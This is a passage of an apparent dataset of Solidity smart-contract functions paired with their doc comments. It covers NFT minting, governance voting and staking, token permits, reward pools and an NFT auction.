"0.8.4"} {"comment": "// mint for whitelist", "function_code": "function mintWhiteList(uint256 id, bytes32[] calldata proof) external nonReentrant {\n require(!minted[id][msg.sender], \"already minted\");\n require(supply > 0, \"out of supply\");\n require(\n MerkleProof.verify(\n proof, roots[id], keccak256(abi.encodePacked(msg.sender))\n ), \n \"invalid proof\");\n supply = supply.sub(1);\n minted[id][msg.sender] = true;\n _mintSeed(1, msg.sender);\n }", "version": "0.8.4"} {"comment": "/**\r\n @dev Initialize the contract, preventing any more changes not made through slate governance\r\n */", "function_code": "function init() public {\r\n require(msg.sender == owner, \"Only the owner can initialize the ParameterStore\");\r\n require(initialized == false, \"Contract has already been initialized\");\r\n\r\n initialized = true;\r\n\r\n // Do not allow initialization unless the gatekeeperAddress is set\r\n // Check after setting initialized so we can use the getter\r\n require(getAsAddress(\"gatekeeperAddress\") != address(0), \"Missing gatekeeper\");\r\n\r\n emit Initialized();\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Create multiple proposals to set values.\r\n @param keys The keys to set\r\n @param values The values to set for the keys\r\n @param metadataHashes Metadata hashes describing the proposals\r\n */", "function_code": "function createManyProposals(\r\n string[] calldata keys,\r\n bytes32[] calldata values,\r\n bytes[] calldata metadataHashes\r\n ) external {\r\n require(initialized, \"Contract has not yet been initialized\");\r\n require(\r\n keys.length == values.length && values.length == metadataHashes.length,\r\n \"All inputs must have the same length\"\r\n );\r\n\r\n Gatekeeper gatekeeper = _gatekeeper();\r\n for (uint i = 0; i < keys.length; i++) {\r\n string memory key = keys[i];\r\n bytes32 value = values[i];\r\n bytes memory metadataHash = metadataHashes[i];\r\n _createProposal(gatekeeper, key, value, metadataHash);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Execute a proposal to set a parameter. The proposal must have been included in an\r\n accepted governance slate.\r\n @param proposalID The proposal\r\n */", "function_code": "function setValue(uint256 proposalID) public returns(bool) {\r\n require(proposalID < proposalCount(), \"Invalid proposalID\");\r\n require(initialized, \"Contract has not yet been initialized\");\r\n\r\n Proposal memory p = proposals[proposalID];\r\n Gatekeeper gatekeeper = Gatekeeper(p.gatekeeper);\r\n\r\n require(gatekeeper.hasPermission(p.requestID), \"Proposal has not been approved\");\r\n require(p.executed == false, \"Proposal already executed\");\r\n\r\n proposals[proposalID].executed = true;\r\n\r\n set(p.key, p.value);\r\n\r\n emit ProposalAccepted(proposalID, p.key, p.value);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Withdraw tokens previously staked on a slate that was accepted through slate governance.\r\n @param slateID The slate to withdraw the stake from\r\n */", "function_code": "function withdrawStake(uint slateID) public returns(bool) {\r\n require(slateID < slateCount(), \"No slate exists with that slateID\");\r\n\r\n // get slate\r\n Slate memory slate = slates[slateID];\r\n\r\n require(slate.status == SlateStatus.Accepted, \"Slate has not been accepted\");\r\n require(msg.sender == slate.staker, \"Only the original staker can withdraw this stake\");\r\n require(slate.stake > 0, \"Stake has already been withdrawn\");\r\n\r\n // Update slate and transfer tokens\r\n slates[slateID].stake = 0;\r\n require(token.transfer(slate.staker, slate.stake), \"Failed to transfer tokens\");\r\n\r\n emit StakeWithdrawn(slateID, slate.staker, slate.stake);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Deposit `numToken` tokens into the Gatekeeper to use in voting\r\n Assumes that `msg.sender` has approved the Gatekeeper to spend on their behalf\r\n @param numTokens The number of tokens to devote to voting\r\n */", "function_code": "function depositVoteTokens(uint numTokens) public returns(bool) {\r\n require(isCurrentGatekeeper(), \"Not current gatekeeper\");\r\n address voter = msg.sender;\r\n\r\n // Voter must have enough tokens\r\n require(token.balanceOf(msg.sender) >= numTokens, \"Insufficient token balance\");\r\n\r\n // Transfer tokens to increase the voter's balance by `numTokens`\r\n uint originalBalance = voteTokenBalance[voter];\r\n voteTokenBalance[voter] = originalBalance.add(numTokens);\r\n\r\n // Must successfully transfer tokens from voter to this contract\r\n require(token.transferFrom(voter, address(this), numTokens), \"Failed to transfer tokens\");\r\n\r\n emit VotingTokensDeposited(voter, numTokens);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Withdraw `numTokens` vote tokens to the caller and decrease voting power\r\n @param numTokens The number of tokens to withdraw\r\n */", "function_code": "function withdrawVoteTokens(uint numTokens) public returns(bool) {\r\n require(commitPeriodActive() == false, \"Tokens locked during voting\");\r\n\r\n address voter = msg.sender;\r\n\r\n uint votingRights = voteTokenBalance[voter];\r\n require(votingRights >= numTokens, \"Insufficient vote token balance\");\r\n\r\n // Transfer tokens to decrease the voter's balance by `numTokens`\r\n voteTokenBalance[voter] = votingRights.sub(numTokens);\r\n\r\n require(token.transfer(voter, numTokens), \"Failed to transfer tokens\");\r\n\r\n emit VotingTokensWithdrawn(voter, numTokens);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Submit a commitment for the current ballot\r\n @param voter The voter to commit for\r\n @param commitHash The hash representing the voter's vote choices\r\n @param numTokens The number of vote tokens to use\r\n */", "function_code": "function commitBallot(address voter, bytes32 commitHash, uint numTokens) public {\r\n uint epochNumber = currentEpochNumber();\r\n\r\n require(commitPeriodActive(), \"Commit period not active\");\r\n\r\n require(didCommit(epochNumber, voter) == false, \"Voter has already committed for this ballot\");\r\n require(commitHash != 0, \"Cannot commit zero hash\");\r\n\r\n address committer = msg.sender;\r\n\r\n // Must be a delegate if not the voter\r\n if (committer != voter) {\r\n require(committer == delegate[voter], \"Not a delegate\");\r\n require(voteTokenBalance[voter] >= numTokens, \"Insufficient tokens\");\r\n } else {\r\n // If the voter doesn't have enough tokens for voting, deposit more\r\n if (voteTokenBalance[voter] < numTokens) {\r\n uint remainder = numTokens.sub(voteTokenBalance[voter]);\r\n depositVoteTokens(remainder);\r\n }\r\n }\r\n\r\n assert(voteTokenBalance[voter] >= numTokens);\r\n\r\n // Set the voter's commitment for the current ballot\r\n Ballot storage ballot = ballots[epochNumber];\r\n VoteCommitment memory commitment = VoteCommitment({\r\n commitHash: commitHash,\r\n numTokens: numTokens,\r\n committed: true,\r\n revealed: false\r\n });\r\n\r\n ballot.commitments[voter] = commitment;\r\n\r\n emit BallotCommitted(epochNumber, committer, voter, numTokens, commitHash);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Reveal ballots for multiple voters\r\n */", "function_code": "function revealManyBallots(\r\n uint256 epochNumber,\r\n address[] memory _voters,\r\n bytes[] memory _ballots,\r\n uint[] memory _salts\r\n ) public {\r\n uint numBallots = _voters.length;\r\n require(\r\n _salts.length == _voters.length && _ballots.length == _voters.length,\r\n \"Inputs must have the same length\"\r\n );\r\n\r\n for (uint i = 0; i < numBallots; i++) {\r\n // extract resources, firstChoices, secondChoices from the ballot\r\n (\r\n address[] memory resources,\r\n uint[] memory firstChoices,\r\n uint[] memory secondChoices\r\n ) = abi.decode(_ballots[i], (address[], uint[], uint[]));\r\n\r\n revealBallot(epochNumber, _voters[i], resources, firstChoices, secondChoices, _salts[i]);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Get the number of second-choice votes cast for the given slate and resource\r\n @param epochNumber The epoch\r\n @param resource The resource\r\n @param slateID The slate\r\n */", "function_code": "function getSecondChoiceVotes(uint epochNumber, address resource, uint slateID) public view returns(uint) {\r\n // for each option that isn't this one, get the second choice votes\r\n Contest storage contest = ballots[epochNumber].contests[resource];\r\n uint numSlates = contest.stakedSlates.length;\r\n uint votes = 0;\r\n for (uint i = 0; i < numSlates; i++) {\r\n uint otherSlateID = contest.stakedSlates[i];\r\n if (otherSlateID != slateID) {\r\n SlateVotes storage v = contest.votes[otherSlateID];\r\n // get second-choice votes for the target slate\r\n votes = votes.add(v.secondChoiceVotes[slateID]);\r\n }\r\n }\r\n return votes;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Get the details of the specified contest\r\n */", "function_code": "function contestDetails(uint256 epochNumber, address resource) external view\r\n returns(\r\n ContestStatus status,\r\n uint256[] memory allSlates,\r\n uint256[] memory stakedSlates,\r\n uint256 lastStaked,\r\n uint256 voteWinner,\r\n uint256 voteRunnerUp,\r\n uint256 winner\r\n ) {\r\n Contest memory c = ballots[epochNumber].contests[resource];\r\n\r\n status = c.status;\r\n allSlates = c.slates;\r\n stakedSlates = c.stakedSlates;\r\n lastStaked = c.lastStaked;\r\n voteWinner = c.voteLeader;\r\n voteRunnerUp = c.voteRunnerUp;\r\n winner = c.winner;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Send tokens of the rejected slates to the token capacitor.\r\n @param epochNumber The epoch\r\n @param resource The resource\r\n */", "function_code": "function donateChallengerStakes(uint256 epochNumber, address resource, uint256 startIndex, uint256 count) public {\r\n Contest storage contest = ballots[epochNumber].contests[resource];\r\n require(contest.status == ContestStatus.Finalized, \"Contest is not finalized\");\r\n\r\n uint256 numSlates = contest.stakedSlates.length;\r\n require(contest.stakesDonated != numSlates, \"All stakes donated\");\r\n\r\n // If there are still stakes to be donated, continue\r\n require(startIndex == contest.stakesDonated, \"Invalid start index\");\r\n\r\n uint256 endIndex = startIndex.add(count);\r\n require(endIndex <= numSlates, \"Invalid end index\");\r\n\r\n address stakeDonationAddress = parameters.getAsAddress(\"stakeDonationAddress\");\r\n IDonationReceiver donationReceiver = IDonationReceiver(stakeDonationAddress);\r\n bytes memory stakeDonationHash = \"Qmepxeh4KVkyHYgt3vTjmodB5RKZgUEmdohBZ37oKXCUCm\";\r\n\r\n for (uint256 i = startIndex; i < endIndex; i++) {\r\n uint256 slateID = contest.stakedSlates[i];\r\n Slate storage slate = slates[slateID];\r\n if (slate.status != SlateStatus.Accepted) {\r\n uint256 donationAmount = slate.stake;\r\n slate.stake = 0;\r\n\r\n // Only donate for non-zero amounts\r\n if (donationAmount > 0) {\r\n require(\r\n token.approve(address(donationReceiver), donationAmount),\r\n \"Failed to approve Gatekeeper to spend tokens\"\r\n );\r\n donationReceiver.donate(address(this), donationAmount, stakeDonationHash);\r\n }\r\n }\r\n }\r\n\r\n // Update state\r\n contest.stakesDonated = endIndex;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Request permission to perform the action described in the metadataHash\r\n @param metadataHash A reference to metadata about the action\r\n */", "function_code": "function requestPermission(bytes memory metadataHash) public returns(uint) {\r\n require(isCurrentGatekeeper(), \"Not current gatekeeper\");\r\n require(metadataHash.length > 0, \"metadataHash cannot be empty\");\r\n address resource = msg.sender;\r\n uint256 epochNumber = currentEpochNumber();\r\n\r\n require(slateSubmissionPeriodActive(resource), \"Submission period not active\");\r\n\r\n // If the request is created in epoch n, expire at the start of epoch n + 2\r\n uint256 expirationTime = epochStart(epochNumber.add(2));\r\n\r\n // Create new request\r\n Request memory r = Request({\r\n metadataHash: metadataHash,\r\n resource: resource,\r\n approved: false,\r\n expirationTime: expirationTime,\r\n epochNumber: epochNumber\r\n });\r\n\r\n // Record request and return its ID\r\n uint requestID = requestCount();\r\n requests.push(r);\r\n\r\n emit PermissionRequested(epochNumber, resource, requestID, metadataHash);\r\n return requestID;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n @dev Update a slate and its associated requests\r\n @param slateID The slate to update\r\n */", "function_code": "function acceptSlate(uint slateID) private {\r\n // Mark the slate as accepted\r\n Slate storage s = slates[slateID];\r\n s.status = SlateStatus.Accepted;\r\n\r\n // Record the incumbent\r\n if (incumbent[s.resource] != s.recommender) {\r\n incumbent[s.resource] = s.recommender;\r\n }\r\n\r\n // mark all of its requests as approved\r\n uint[] memory requestIDs = s.requests;\r\n for (uint i = 0; i < requestIDs.length; i++) {\r\n uint requestID = requestIDs[i];\r\n requests[requestID].approved = true;\r\n }\r\n }", "version": "0.5.11"} {"comment": "// --- Prepare ---\n// Sets the two deployer dependencies. This needs to be called by the deployUsr", "function_code": "function prepare(address lender_, address borrower_, address oracle_, address[] memory poolAdmins_) public {\n require(deployUsr == msg.sender);\n \n borrowerDeployer = BorrowerDeployerLike(borrower_);\n lenderDeployer = LenderDeployerLike_1(lender_);\n oracle = oracle_;\n poolAdmins = poolAdmins_;\n\n deployUsr = address(0); // disallow the deploy user to call this more than once.\n }", "version": "0.7.6"} {"comment": "// --- Deploy ---\n// After going through the deploy process on the lender and borrower method, this method is called to connect\n// lender and borrower contracts.", "function_code": "function deploy() public {\n require(address(borrowerDeployer) != address(0) && address(lenderDeployer) != address(0) && deployed == false);\n deployed = true;\n\n address reserve_ = lenderDeployer.reserve();\n address shelf_ = borrowerDeployer.shelf();\n\n // Borrower depends\n DependLike_3(borrowerDeployer.collector()).depend(\"reserve\", reserve_);\n DependLike_3(borrowerDeployer.shelf()).depend(\"lender\", reserve_);\n DependLike_3(borrowerDeployer.shelf()).depend(\"reserve\", reserve_);\n\n // Lender depends\n address navFeed = borrowerDeployer.feed();\n\n DependLike_3(reserve_).depend(\"shelf\", shelf_);\n DependLike_3(lenderDeployer.assessor()).depend(\"navFeed\", navFeed);\n\n // Lender wards\n if (oracle != address(0)) AuthLike_3(navFeed).rely(oracle);\n\n // directly relying governance so it can be used to directly add/remove pool admins without going through the root\n PoolAdminLike poolAdmin = PoolAdminLike(lenderDeployer.poolAdmin());\n PoolAdminLike(poolAdmin).rely(governance);\n\n for (uint i = 0; i < poolAdmins.length; i++) {\n PoolAdminLike(poolAdmin).relyAdmin(poolAdmins[i]);\n }\n }", "version": "0.7.6"} {"comment": "////////////////////\n/// @notice get all nfts of a person", "function_code": "function walletOfOwner(address _owner) external view returns (uint256[] memory) {\n uint256 ownerTokenCount = balanceOf(_owner);\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\n for (uint256 i; i < ownerTokenCount; i++) tokenIds[i] = tokenOfOwnerByIndex(_owner, i);\n return tokenIds;\n }", "version": "0.8.13"} {"comment": "// transferOwnership add a pending owner", "function_code": "function transferOwnership(address newOwner) public override onlyOwner {\r\n require(!isBlackListed[newOwner], \"Pending owner can not be in blackList\");\r\n require(newOwner != owner(), \"Pending owner and current owner need to be different\");\r\n require(newOwner != address(0), \"Pending owner can not be zero address\");\r\n\r\n _pendingOwner = newOwner;\r\n\r\n emit TransferOwnerShip(newOwner);\r\n }", "version": "0.8.3"} {"comment": "// acceptOwnership allows the pending owner to accept the ownership of the SPWN token contract\n// along with grant new owner MINT_BURN_ROLE role and remove MINT_BURN_ROLE from old owner", "function_code": "function acceptOwnership() public {\r\n require(_pendingOwner != address(0), \"Please set pending owner first\");\r\n require(_pendingOwner == msg.sender, \"Only pending owner is able to accept the ownership\");\r\n require(!isBlackListed[msg.sender], \"Pending owner can not be in blackList\");\r\n\r\n address oldOwner = owner();\r\n\r\n _owner = _pendingOwner;\r\n\r\n _setupRole(DEFAULT_ADMIN_ROLE, _pendingOwner);\r\n _grantAccess(MINT_BURN_ROLE, _pendingOwner);\r\n\r\n _revokeAccess(MINT_BURN_ROLE, oldOwner);\r\n _revokeAccess(DEFAULT_ADMIN_ROLE, oldOwner);\r\n\r\n emit AcceptOwnerShip(oldOwner, _pendingOwner);\r\n\r\n _pendingOwner = address(0);\r\n }", "version": "0.8.3"} {"comment": "// internal function _revokeAccess revokes account with given role", "function_code": "function _revokeAccess(bytes32 role, address account) internal {\r\n if (DEFAULT_ADMIN_ROLE == role) {\r\n require(account != owner(), \"owner can not revoke himself from admin role\");\r\n }\r\n\r\n revokeRole(role, account);\r\n\r\n emit RoleRevoked(role, account, owner());\r\n }", "version": "0.8.3"} {"comment": "/**\r\n * Destroy tokens\r\n *\r\n * Remove `_value` tokens from the system irreversibly\r\n *\r\n * @param Account address\r\n *\r\n * @param _value the amount of money to burn\r\n * \r\n * Safely check if total supply is not overdrawn\r\n */", "function_code": "function burnFrom(address Account, uint256 _value) public returns (bool success) {\r\n require (LockList[msg.sender] == false,\"ERC20: User Locked !\"); \r\n require (LockList[Account] == false,\"ERC20: Owner Locked !\"); \r\n uint256 stage;\r\n require(Account != address(0), \"ERC20: Burn from the zero address\");\r\n \r\n //Safely substract amount to be burned from callers allowance\r\n _approve(Account, msg.sender, _allowance[Account][msg.sender].sub(_value,\"ERC20: burn amount exceeds allowance\"));\r\n \r\n //Do not allow burn if Accounts tokens are locked.\r\n stage=balanceOf[Account].sub(_value,\"ERC20: Transfer amount exceeds allowance\");\r\n require(stage>=LockedTokens[Account],\"ERC20: Burn amount exceeds accounts locked amount\");\r\n balanceOf[Account] =stage ; // Subtract from the sender\r\n \r\n //Deduct burn amount from totalSupply\r\n totalSupply=totalSupply.sub(_value,\"ERC20: Burn Amount exceeds totalSupply\");\r\n \r\n emit Burn(Account, _value);\r\n emit Transfer(Account, address(0), _value);\r\n\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Set allowance for other address\r\n *\r\n * Allows `_spender` to spend no more than `_value` tokens in your behalf\r\n * Emits Approval Event\r\n * @param _spender The address authorized to spend\r\n * @param _value the max amount they can spend\r\n */", "function_code": "function approve(address _spender, uint256 _value) public\r\n returns (bool success) {\r\n uint256 unapprovbal;\r\n\r\n // Do not allow approval if amount exceeds locked amount\r\n unapprovbal=balanceOf[msg.sender].sub(_value,\"ERC20: Allowance exceeds balance of approver\");\r\n require(unapprovbal>=LockedTokens[msg.sender],\"ERC20: Approval amount exceeds locked amount \");\r\n \r\n \r\n _allowance[msg.sender][_spender] = _value;\r\n emit Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "// --------------------------------------------------------\n// FUNCTION HANDLER\n// --------------------------------------------------------", "function_code": "function withdraw() public {\r\n uint256 tokenPending = 0;\r\n bool isWithdraw = false;\r\n\r\n require(block.timestamp - timestampLastReceived >= 5 * month, 'You can not withdraw token now');\r\n\r\n for(uint8 i = 0; i < 13 ; i++) {\r\n if( times[i] != true ) {\r\n times[i] = true;\r\n isWithdraw = true;\r\n tokenPending = i == 0 ? totalFBSDistributor.mul(percents[i]).div(100) : totalFBSDistributor.mul(percents[i] - percents[i-1]).div(100);\r\n break;\r\n }\r\n }\r\n\r\n if( isWithdraw ) {\r\n timestampLastReceived = timestampLastReceived.add(5 * month);\r\n for(uint8 j = 0; j < 10; j++) {\r\n sendTransferToken(address_admin[j], tokenPending.div(10));\r\n }\r\n\r\n emit Withdraw(tokenPending);\r\n }\r\n }", "version": "0.8.0"} {"comment": "// --- Approve by signature ---", "function_code": "function permit(address holder, address spender, uint256 nonce, uint256 expiry,\r\n bool allowed, uint8 v, bytes32 r, bytes32 s) external\r\n {\r\n bytes32 digest =\r\n keccak256(abi.encodePacked(\r\n \"\\x19\\x01\",\r\n DOMAIN_SEPARATOR,\r\n keccak256(abi.encode(PERMIT_TYPEHASH,\r\n holder,\r\n spender,\r\n nonce,\r\n expiry,\r\n allowed))\r\n ));\r\n\r\n require(holder != address(0), \"invalid-address-0\");\r\n require(holder == ecrecover(digest, v, r, s), \"invalid-permit\");\r\n require(expiry == 0 || now <= expiry, \"permit-expired\");\r\n require(nonce == nonces[holder]++, \"invalid-nonce\");\r\n uint256 amount = allowed ? uint256(-1) : 0;\r\n allowance[holder][spender] = amount;\r\n emit Approval(holder, spender, amount);\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Adds a new pool. Admin only\n *\n * Params:\n * _allocPoint: the allocation points to be assigned to this pool\n * _lpToken: the token that this pool accepts\n * _withUpdate: whether or not to update all pools\n */", "function_code": "function add(\n uint256 _allocPoint,\n IERC20 _lpToken,\n bool _withUpdate\n ) public onlyAdmin isInitialized {\n if (_withUpdate) {\n massUpdatePools();\n }\n uint256 lastRewardBlock =\n block.number > startBlock ? block.number : startBlock;\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\n poolInfo.push(\n PoolInfo({\n lpToken: _lpToken,\n allocPoint: _allocPoint,\n lastRewardBlock: lastRewardBlock,\n accStarsPerShare: 0,\n poolSupply: 0\n })\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev View function to see pending Stars on frontend.\n *\n * Params:\n * _user: address of the stars to view the pending rewards for.\n */", "function_code": "function pendingStars(uint256 _pid, address _user)\n external\n view\n isInitialized\n returns (uint256)\n {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][_user];\n\n if (pool.poolSupply == 0) {\n return 0;\n }\n\n uint256 currRateEndStarsPerShare =\n accStarsPerShareAtCurrRate(\n uint256(block.number).sub(startBlock),\n pool.poolSupply\n );\n uint256 currRateStartStarsPerShare =\n accStarsPerShareAtCurrRate(\n pool.lastRewardBlock.sub(startBlock),\n pool.poolSupply\n );\n uint256 starsReward =\n (currRateEndStarsPerShare.sub(currRateStartStarsPerShare))\n .mul(pool.allocPoint)\n .div(totalAllocPoint);\n\n uint256 pendingAccStarsPerShare =\n pool.accStarsPerShare.add(starsReward);\n return\n user.amount.mul(pendingAccStarsPerShare).div(1e12).sub(\n user.rewardDebt\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @dev An internal function to calculate the total accumulated Stars per\n * share, assuming the stars per share remained the same since staking\n * began.\n *\n * Params:\n * blocks: The number of blocks to calculate for\n */", "function_code": "function accStarsPerShareAtCurrRate(uint256 blocks, uint256 poolSupply)\n public\n view\n returns (uint256)\n {\n if (blocks > epochs[2]) {\n return\n totalStarsPerEpoch[0]\n .add(totalStarsPerEpoch[1])\n .add(totalStarsPerEpoch[2])\n .mul(1e12)\n .div(poolSupply);\n } else if (blocks > epochs[1]) {\n uint256 currTierRewards =\n (blocks.sub(epochs[1]).mul(rewardAmounts[2]));\n return\n totalStarsPerEpoch[0]\n .add(totalStarsPerEpoch[1])\n .add(currTierRewards)\n .mul(1e12)\n .div(poolSupply);\n } else if (blocks > epochs[0]) {\n uint256 currTierRewards =\n (blocks.sub(epochs[0]).mul(rewardAmounts[1]));\n return\n totalStarsPerEpoch[0].add(currTierRewards).mul(1e12).div(\n poolSupply\n );\n } else {\n return blocks.mul(rewardAmounts[0]).mul(1e12).div(poolSupply);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev A function for the front-end to see information about the current\n rewards.\n */", "function_code": "function starsPerBlock()\n public\n view\n isInitialized\n returns (uint256 amount)\n {\n uint256 blocks = uint256(block.number).sub(startBlock);\n if (blocks >= epochs[2]) {\n return 0;\n } else if (blocks >= epochs[1]) {\n return rewardAmounts[2];\n } else if (blocks >= epochs[0]) {\n return rewardAmounts[1];\n } else {\n return rewardAmounts[0];\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Calculates the additional stars per share that have been accumulated\n * since lastRewardBlock, and updates accStarsPerShare and lastRewardBlock\n * accordingly.\n */", "function_code": "function updatePool(uint256 _pid) public isInitialized {\n PoolInfo storage pool = poolInfo[_pid];\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n if (pool.poolSupply != 0) {\n uint256 currRateEndStarsPerShare =\n accStarsPerShareAtCurrRate(\n uint256(block.number).sub(startBlock),\n pool.poolSupply\n );\n uint256 currRateStartStarsPerShare =\n accStarsPerShareAtCurrRate(\n pool.lastRewardBlock.sub(startBlock),\n pool.poolSupply\n );\n uint256 starsReward =\n (currRateEndStarsPerShare.sub(currRateStartStarsPerShare))\n .mul(pool.allocPoint)\n .div(totalAllocPoint);\n\n pool.accStarsPerShare = pool.accStarsPerShare.add(starsReward);\n }\n pool.lastRewardBlock = block.number;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Collect rewards owed.\n *\n * Params:\n * _pid: the pool id\n */", "function_code": "function collectRewards(uint256 _pid) public isInitialized {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n\n if (user.amount > 0) {\n uint256 pending =\n user.amount.mul(pool.accStarsPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeStarsTransfer(msg.sender, pending);\n user.rewardDebt = user.amount.mul(pool.accStarsPerShare).div(1e12);\n }\n\n emit RewardsCollected(msg.sender, _pid);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Deposit stars for staking. The sender's pending rewards are\n * sent to the sender, and the sender's information is updated accordingly.\n *\n * Params:\n * _pid: the pool id\n * _amount: amount of Stars to deposit\n */", "function_code": "function deposit(uint256 _pid, uint256 _amount) public isInitialized {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n\n uint256 pending =\n user.amount.mul(pool.accStarsPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeStarsTransfer(msg.sender, pending);\n\n user.amount = user.amount.add(_amount);\n user.rewardDebt = user.amount.mul(pool.accStarsPerShare).div(1e12);\n pool.poolSupply = pool.poolSupply.add(_amount);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Withdraw Stars from the amount that the user is staking and collect\n * pending rewards.\n *\n * Params:\n * _pid: the pool id\n * _amount: amount of Stars to withdraw\n *\n * Requirements:\n * _amount is less than or equal to the amount of Stars the the user has\n * deposited to the contract\n */", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public isInitialized {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount >= _amount, \"withdraw: not good\");\n updatePool(_pid);\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\n\n uint256 pending =\n user.amount.mul(pool.accStarsPerShare).div(1e12).sub(\n user.rewardDebt\n );\n safeStarsTransfer(msg.sender, pending);\n\n user.amount = user.amount.sub(_amount);\n user.rewardDebt = user.amount.mul(pool.accStarsPerShare).div(1e12);\n pool.poolSupply = pool.poolSupply.sub(_amount);\n emit Withdraw(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "/// @dev Given a token Id, returns a byte array that is supposed to be converted into string.", "function_code": "function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) {\r\n if (_tokenId == 1) {\r\n buffer[0] = \"Hello World! :D\";\r\n count = 15;\r\n } else if (_tokenId == 2) {\r\n buffer[0] = \"I would definitely choose a medi\";\r\n buffer[1] = \"um length string.\";\r\n count = 49;\r\n } else if (_tokenId == 3) {\r\n buffer[0] = \"Lorem ipsum dolor sit amet, mi e\";\r\n buffer[1] = \"st accumsan dapibus augue lorem,\";\r\n buffer[2] = \" tristique vestibulum id, libero\";\r\n buffer[3] = \" suscipit varius sapien aliquam.\";\r\n count = 128;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/// @dev Remove all Ether from the contract, which is the owner's cuts\n/// as well as any Ether sent directly to the contract address.\n/// Always transfers to the NFT contract, but can be called either by\n/// the owner or the NFT contract.", "function_code": "function withdrawBalance() external {\r\n address nftAddress = address(nonFungibleContract);\r\n\r\n require(\r\n msg.sender == owner ||\r\n msg.sender == nftAddress\r\n );\r\n // We are using this boolean method to make sure that even if one fails it will still work\r\n bool res = nftAddress.send(this.balance);\r\n }", "version": "0.4.21"} {"comment": "/// @dev Returns auction info for an NFT on auction.\n/// @param _tokenId - ID of NFT on auction.", "function_code": "function getAuction(uint256 _tokenId) external view returns (\r\n address seller,\r\n uint256 startingPrice,\r\n uint256 endingPrice,\r\n uint256 duration,\r\n uint256 startedAt\r\n ) {\r\n Auction storage auction = tokenIdToAuction[_tokenId];\r\n require(_isOnAuction(auction));\r\n return (\r\n auction.seller,\r\n auction.startingPrice,\r\n auction.endingPrice,\r\n auction.duration,\r\n auction.startedAt\r\n );\r\n }", "version": "0.4.21"} {"comment": "/// @dev Creates and begins a new auction.\n/// @param _tokenId - ID of token to auction, sender must be owner.\n/// @param _startingPrice - Price of item (in wei) at beginning of auction.\n/// @param _endingPrice - Price of item (in wei) at end of auction.\n/// @param _duration - Length of auction (in seconds).\n/// @param _seller - Seller, if not the message sender", "function_code": "function createAuction(\r\n uint256 _tokenId,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration,\r\n address _seller\r\n )\r\n external\r\n {\r\n // Sanity check that no inputs overflow how many bits we've allocated\r\n // to store them in the auction struct.\r\n require(_startingPrice == uint256(uint128(_startingPrice)));\r\n require(_endingPrice == uint256(uint128(_endingPrice)));\r\n require(_duration == uint256(uint64(_duration)));\r\n require(msg.sender == address(nonFungibleContract));\r\n\r\n _escrow(_seller, _tokenId);\r\n Auction memory auction = Auction(\r\n _seller,\r\n uint128(_startingPrice),\r\n uint128(_endingPrice),\r\n uint64(_duration),\r\n uint64(now)\r\n );\r\n _addAuction(_tokenId, auction);\r\n }", "version": "0.4.21"} {"comment": "/// @dev Updates lastSalePrice if seller is the nft contract\n/// Otherwise, works the same as default bid method.", "function_code": "function bid(uint256 _tokenId)\r\n external\r\n payable\r\n {\r\n // _bid verifies token ID size\r\n address seller = tokenIdToAuction[_tokenId].seller;\r\n uint256 price = _bid(_tokenId, msg.value);\r\n _transfer(msg.sender, _tokenId);\r\n\r\n // If not a gen0 auction, exit\r\n if (seller == address(nonFungibleContract)) {\r\n // Track gen0 sale prices\r\n lastArtworkSalePrices[artworkSaleCount % 5] = price;\r\n value += price;\r\n artworkSaleCount++;\r\n }\r\n }", "version": "0.4.21"} {"comment": "//Creates a unique key based on the artwork name, author, and series", "function_code": "function getUniqueKey(string name, string author, uint32 _version) internal pure returns(bytes32) {\r\n string memory version = _uintToString(_version);\r\n string memory main = _strConcat(name, author, version, \"$%)\");\r\n string memory lowercased = _toLower(main);\r\n return keccak256(lowercased);\r\n }", "version": "0.4.21"} {"comment": "//https://gist.github.com/thomasmaclean/276cb6e824e48b7ca4372b194ec05b97\n//transform to lowercase", "function_code": "function _toLower(string str) internal pure returns (string) {\r\n\t\tbytes memory bStr = bytes(str);\r\n\t\tbytes memory bLower = new bytes(bStr.length);\r\n\t\tfor (uint i = 0; i < 